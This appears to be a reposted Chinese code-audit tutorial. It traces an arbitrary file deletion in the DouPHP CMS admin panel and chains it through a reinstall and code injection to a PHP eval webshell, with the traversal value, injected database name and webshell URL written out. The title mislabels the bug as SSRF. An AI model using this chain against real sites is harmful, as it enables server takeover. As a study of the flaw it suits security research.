ssrf漏洞代码审计之douphp解析(超详细)

1.进入douphp的安装界面

www.douphp.com/install/

由此可知安装界面已经被锁定了,但是由于install.lock是可控的,删除了install.lock后即可进行安装,所以我们现在的目的就是找到怎么去删除install.lock的方法。

要删除目标网站的任意文件,需要先寻找任意文件删除漏洞。所以我们需要找到能被我们控制的删除函数,删掉指定的文件。在php中,可以通过unlink函数来删除文件。用seay源代码审计系统全局搜索含有unlink函数的文件,

2.代码审计

(1)输入unlink( 进行全局搜索

(2)ID=1、2、3......挨个找可以删除的可控变量

ID=1

均为常量,不可控

ID=2

存在变量$sql_filename,且$sql_filename这个变量输出参数时要被is_backup_file处理,所以鼠标右键定位函数is_backup_file后进行查询

发现这个时个正则表达式,且后缀名要为.sql所以与我们要用的目标文件不符合

ID=3

这里需要的也是.sql后缀名的文件,与目标文件不符

以此类推

ID=6

$mobile_logo = $dou->get_one("SELECT value FROM " . $dou->table('config') . " WHERE name = 'mobile_logo'");

这行代码的意思是在字段中获取mobile_logo的值

table()表示给表名加个前缀

由这个路径可知mobile.php是在admin下面,所以需要登录后台

(3)登录后台找到admin/mobile.php

www.douphp.com/admin/mobile.php

(4)上传文件

在点击删除LOGO时可以查看到删除LOGO的连接为

www.douphp.com/admin/mobile.php?rec=system&act=clear_logo

(5)将ulink()函数写为exit()函数查看删除路径

 @ exit(ROOT_PATH . M_PATH . '/theme/' . $_CFG['mobile_theme'] . '/images/' . $mobile_logo);

exit()函数表示 — 输出一个消息并且退出当前脚本

这里输出的消息就是文件路径

点击删除LOGO后会出现

这里便查出文件路径为

D:/phpstudy_pro/WWW/douphp-master/douphp/m/theme/default/images/logo.png

由于我们需要删除的目录在/data/install.lock,所以需要一级一级的进行跳转,比如使用

$a=”../” //这里的$a就表示返回上级目录

我们需要将/m/theme/default/images/logo.png变为/data/install.lock

该值是从数据库中读取的,那么就需要设法将数据库中,mobile_logo字段的值改为

D:/phpstudy_pro/WWW/douphp-master/douphp/data/install.lock

所以现在的问题变成了怎么将mobile_logo字段的值改为D:/phpstudy_pro/WWW

/douphp-master/douphp/data/install.lock

(6)继续分析源代码

这里代码的意思就相当于:

update config set value=$value where name=$name;

在变量name=$name时将config里面的value值更新为$value

这里目标就是将$value替换成D:/phpstudy_pro/WWW/douphp-master/douphp/data

/install.lock

将$name替换成mobile_logo

这里的foreach ($_POST as $name => $value)

Foreach表示遍历数组

$name表示键

$value表示值

(6)查看更新源代码

由此可知当满足$act=’updata’ 时即可执行foreach ($_POST as $name => $value)

 因此现在的问题是如何在$act=’updata’ 时绕过if()代码从而执行foreach代码

(7)用burp抓包

点击提交

这里name="mobile_description"表示键

DouPHP,DouPHP触屏版表示值

把name="mobile_description"改为name="mobile_logo"

DouPHP,DouPHP改为../../../../data/install.lock

放包

点击删除logo触发提交的事件后

出现这个表示删除成功

点击下一步在数据库名这里输入

${file_put_contents($_GET[1],$_GET[2])}

点击安装

表示写入成功

执行代码

http://www.douphp.com/data/config.php?1=666.php&2=%20%3C?php%20eval($_REQUEST[8])%20?%3E

则会创建一个666.php的php文件

里面的内容为

 <?php eval($_REQUEST[8]) ?>

输入http://www.douphp.com/data/666.php?8=phpinfo();

显示出这个页面时则执行成功

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/418632.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

蓝桥杯准备

书籍获取&#xff1a;Z-Library – 世界上最大的电子图书馆。自由访问知识和文化。 (zlibrary-east.se) 书评&#xff1a;(豆瓣) (douban.com) 一、观千曲而后晓声 别人常说蓝桥杯拿奖很简单&#xff0c;但是拿奖是一回事&#xff0c;拿什么奖又是一回事。况且&#xff0c;如果…

蓝桥杯-dfs(一)

&#x1f4d1;前言 本文主要是【算法】——dfs使用的文章&#xff0c;如果有什么需要改进的地方还请大佬指出⛺️ &#x1f3ac;作者简介&#xff1a;大家好&#xff0c;我是听风与他&#x1f947; ☁️博客首页&#xff1a;CSDN主页听风与他 &#x1f304;每日一句&#xff1…

Redis 存在线程安全问题吗?为什么?

一个工作了 5 年的粉丝私信我。 他说自己准备了半年时间&#xff0c;想如蚂蚁金服&#xff0c;结果第一面就挂了&#xff0c;非常难过。 问题是&#xff1a; “Redis 存在线程安全问题吗&#xff1f;” 一、问题解析 关于这个问题&#xff0c;我从两个方面来回答。 第一个&a…

JS-WebAPIs-其他事件(三)

• 页面加载事件 页面加载事件主要有二种事件&#xff0c;分别是load和DOMContentLoaded 加载外部资源&#xff08;如图片、外联CSS和JavaScript等&#xff09;加载完毕时触发的事件为什么要学&#xff1f; 有些时候需要等页面资源全部处理完了做一些事情老代码喜欢把 scrip…

【Qt】对象树与坐标系

需要云服务器等云产品来学习Linux的同学可以移步/-->腾讯云<--/-->阿里云<--/-->华为云<--/官网&#xff0c;轻量型云服务器低至112元/年&#xff0c;新用户首次下单享超低折扣。 目录 一、Qt Creator快捷键 二、对象树 1、对象树的析构 2、自定义类的编写…

HTML--CSS--盒子模型

在CSS模型中&#xff0c;所有元素都可以看做是一个盒子&#xff0c;这个盒子的组成部分&#xff1a; content 内容&#xff0c;文本或者图片 padding 内边距&#xff0c;定义内容到边框的距离 margin 外边距&#xff0c;定义当前元素与其他元素之间的距离 border 边框&#xff…

线性表--顺序表

目录 1.什么是顺序表 2.动态顺序表实现 2.1动态顺序表结构体 2.2初始化 2.3打印验证函数 2.4判断是否扩容&#xff0c;按需扩容 2.5头插/尾插 2.6头删/尾删 2.7指定位置插入数据/指定位置删除数据 3.动态顺序表代码 1.什么是顺序表 线性表是n个具有相同特性的数据元素的…

[C#]winform部署yolov8图像分类的openvino格式的模型

【官方框架地址】 https://github.com/ultralytics/ultralytics 【openvino介绍】 OpenVINO是一个针对Intel硬件优化的开源工具包&#xff0c;用于优化和部署深度学习模型。以下是OpenVINO部署模型的主要优点&#xff1a; 高性能&#xff1a;OpenVINO提供了一系列性能优化工…

openjdk源码了解

openjdk给出debug配置选项&#xff0c;common/autoconf/jdk-options.m4 AC_DEFUN_ONCE([JDKOPT_SETUP_DEBUG_LEVEL], [################################################################################# Set the debug level# release: no debug information, all opti…

计算机组成原理 第一弹

ps&#xff1a;本文章的图片来源都是来自于湖科大教书匠高老师的视频&#xff0c;声明&#xff1a;仅供自己复习&#xff0c;里面加上了自己的理解 这里附上视频链接地址&#xff1a;1-2 计算机的发展_哔哩哔哩_bilibili ​​ 目录 &#x1f680;计算机系统 &#x1f680;计…

《WebKit 技术内幕》之五(4): HTML解释器和DOM 模型

4 影子&#xff08;Shadow&#xff09;DOM 影子 DOM 是一个新东西&#xff0c;主要解决了一个文档中可能需要大量交互的多个 DOM 树建立和维护各自的功能边界的问题。 4.1 什么是影子 DOM 当开发这样一个用户界面的控件——这个控件可能由一些 HTML 的标签元素…

代码随想录算法训练营29期|day 21 任务以及具体安排

530.二叉搜索树的最小绝对差 力扣题目链接(opens new window) 给你一棵所有节点为非负值的二叉搜索树&#xff0c;请你计算树中任意两节点的差的绝对值的最小值。 示例&#xff1a; 提示&#xff1a;树中至少有 2 个节点。 class Solution {TreeNode pre;// 记录上一个遍历的…